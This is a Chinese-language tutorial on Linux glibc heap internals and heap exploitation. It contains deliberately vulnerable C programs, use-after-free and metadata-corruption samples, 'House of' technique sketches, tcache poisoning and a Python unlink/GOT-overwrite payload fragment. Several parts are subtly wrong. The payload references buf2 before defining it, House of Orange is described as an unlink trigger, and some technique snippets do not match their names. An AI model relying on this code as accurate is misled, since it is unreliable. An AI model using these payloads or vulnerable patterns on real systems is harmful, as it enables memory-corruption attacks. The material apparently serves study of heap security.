Linux堆内存分配机制与安全漏洞利用详解

1. 堆内存基础

1.1 堆的概念与特点

堆(Heap)是用于动态内存分配的数据结构，进程可以在运行时通过系统调用(如malloc和free)向操作系统请求和释放内存。与栈不同：

• 栈用于自动变量的快速内存分配
• 堆用于需要灵活大小和生存期的动态数据

主要分配函数：

• malloc: 分配指定大小的内存
• calloc: 分配并清零内存
• realloc: 调整已分配内存的大小
• free: 释放已分配的内存

1.2 堆内存分配示例

struct data {
    char name[64];
};

int main(int argc, char **argv) {
    struct data *d;
    d = malloc(sizeof(struct data));
    free(d);
}

2. 堆内存工作机制

2.1 堆内存分配过程

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

void winner() {
    printf("level passed\n");
}

void nowinner() {
    printf("level has not been passed\n");
}

int main(int argc, char **argv) {
    struct data *d;
    struct fp *f;
    
    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;
    
    printf("data is at %p, fp is at %p\n", d, f);
    strcpy(d->name, argv[1]);
    f->fp();
}

2.2 堆内存布局分析

• 分配的内存块包含元数据(大小信息)和实际数据区
• 大小字段的最低有效位表示块是否在使用中(1表示使用中)
• 实际分配大小 = 请求大小 + 元数据大小(通常8字节)

3. 常见堆漏洞类型

3.1 内存泄漏(Memory Leak)

分配内存后忘记释放，导致内存无法重用：

void memoryLeakExample() {
    char *leak = (char *)malloc(1024);
    snprintf(leak, 1024, "This is a memory leak example");
    printf("%s\n", leak);
    // 漏掉了free(leak)
}

3.2 使用已释放内存(Use-After-Free)

释放内存后继续使用该内存区域：

void useAfterFree() {
    char *data = (char *)malloc(100);
    strcpy(data, "Hello, World!");
    free(data);
    printf("Data after free: %s\n", data); // UAF漏洞
}

3.3 双重释放(Double Free)

多次释放同一块内存：

void doubleFree() {
    char *ptr = malloc(32);
    free(ptr);
    free(ptr); // 双重释放
}

3.4 堆元数据破坏(Heap Metadata Corruption)

修改堆管理器的元数据导致异常：

void metadataCorruption() {
    char *buffer1 = malloc(32);
    char *buffer2 = malloc(32);
    
    // 通过溢出修改buffer2的元数据
    memset(buffer1 + 32, 'A', 40);
    
    free(buffer2); // 可能导致崩溃
}

4. 堆漏洞利用技术

4.1 Use-After-Free利用实例

struct auth {
    char name[32];
    int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv) {
    char line[128];
    
    while(1) {
        printf("[ auth = %p, service = %p ]\n", auth, service);
        if(fgets(line, sizeof(line), stdin) == NULL) break;
        
        if(strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if(strlen(line + 5) < 31) {
                strcpy(auth->name, line + 5);
            }
        }
        if(strncmp(line, "reset", 5) == 0) {
            free(auth); // 释放但不置空指针
        }
        if(strncmp(line, "service", 6) == 0) {
            service = strdup(line + 7); // 可能重用已释放内存
        }
        if(strncmp(line, "login", 5) == 0) {
            if(auth->auth) { // UAF漏洞点
                printf("you have logged in already!\n");
            } else {
                printf("please enter your password\n");
            }
        }
    }
}

4.2 元数据破坏利用(House of系列)

4.2.1 House of Prime

通过修改堆块大小和边界破坏管理结构：

void house_of_prime() {
    char *buffer1 = malloc(32);
    char *buffer2 = malloc(32);
    memset(buffer1 + 32, 'A', 40); // 溢出修改元数据
    free(buffer2);
}

4.2.2 House of Force

通过修改top chunk大小实现任意地址分配：

void house_of_force() {
    char *buffer1 = malloc(32);
    size_t *size_ptr = (size_t *)(buffer1 - sizeof(size_t));
    *size_ptr = (size_t)-1; // 伪造大小
    char *buffer2 = malloc(32); // 可能导致任意地址分配
}

4.2.3 House of Spirit

通过伪造空闲块进行攻击：

void house_of_spirit() {
    char *buffer = malloc(64);
    free(buffer);
    
    size_t *size = (size_t *)(buffer - sizeof(size_t)*2);
    *size = 64; // 伪造块大小
    
    char *new_buffer = malloc(64); // 可能分配到伪造块
}

4.2.4 House of Orange

利用伪造size和prev_size触发unlink：

void house_of_orange() {
    char *buffer1 = malloc(256);
    char *buffer2 = malloc(256);
    memset(buffer1 + 256, 'A', 264); // 溢出并覆盖元数据
    free(buffer2);
}

5. 堆管理机制详解

5.1 chunk结构

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk* fd;
    struct malloc_chunk* bk;
};

内存块布局：

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                     |A|M|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
        .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk                                     |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

5.2 unlink操作

从双向链表中移除空闲块：

#define unlink(P, BK, FD) { \
    FD = P->fd; \
    BK = P->bk; \
    FD->bk = BK; \
    BK->fd = FD; \
}

5.3 tcache机制

线程缓存(tcache)优化小内存分配：

typedef struct tcache_perthread_struct {
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

typedef struct tcache_entry {
    struct tcache_entry *next;
    struct tcache_perthread_struct *key;
} tcache_entry;

5.3.1 tcache分配流程

1. 基于请求大小选择桶编号
2. 检查缓存中是否有可用条目
3. 重用列表前端的分配

5.3.2 tcache释放流程

1. 选择正确的桶
2. 检查防止双重释放
3. 将释放的块推到列表前端
4. 记录关联的tcache_perthread_struct

5.4 双重自由(Double Free)防护

通过key检查防止双重释放：

if (entry->key == &our_tcache_perthread_struct) {
    printf("Double free detected!\n");
    return;
}

6. 实际漏洞利用案例

6.1 利用unlink覆盖GOT表

import struct

# 构造payload覆盖GOT表
buf1 = 'AAAA'
buf2 = '\xff'*16 + "\x68\x64\x88\x04\x08\xc3" + '\xff'*(32-len(buf2))
buf2 += struct.pack('I', 0xfffffffc)*2
buf3 = '\xff'*4 + struct.pack('I', 0x804b128-12) + struct.pack('I', 0x804c040)

6.2 tcache污染攻击

通过破坏tcache_entry->next指针实现任意地址分配：

void tcache_poisoning() {
    void *a = malloc(16);
    void *b = malloc(16);
    free(a);
    ((tcache_entry *)a)->next = (tcache_entry *)0xdeadbeef; // 破坏next指针
    void *c = malloc(16); // 可能分配到任意地址
}

7. 防御措施

1. 及时释放不再使用的内存并将指针置NULL
2. 使用安全的内存管理函数(如strncpy代替strcpy)
3. 启用堆保护机制(如GNU Libc的防护措施)
4. 使用内存安全语言或内存安全库
5. 定期进行代码审计和漏洞扫描

8. 总结

堆内存管理是系统安全的关键环节，理解其工作机制和常见漏洞模式对于开发安全软件至关重要。通过深入分析堆分配器实现细节和漏洞利用技术，可以更好地防御潜在的安全威胁。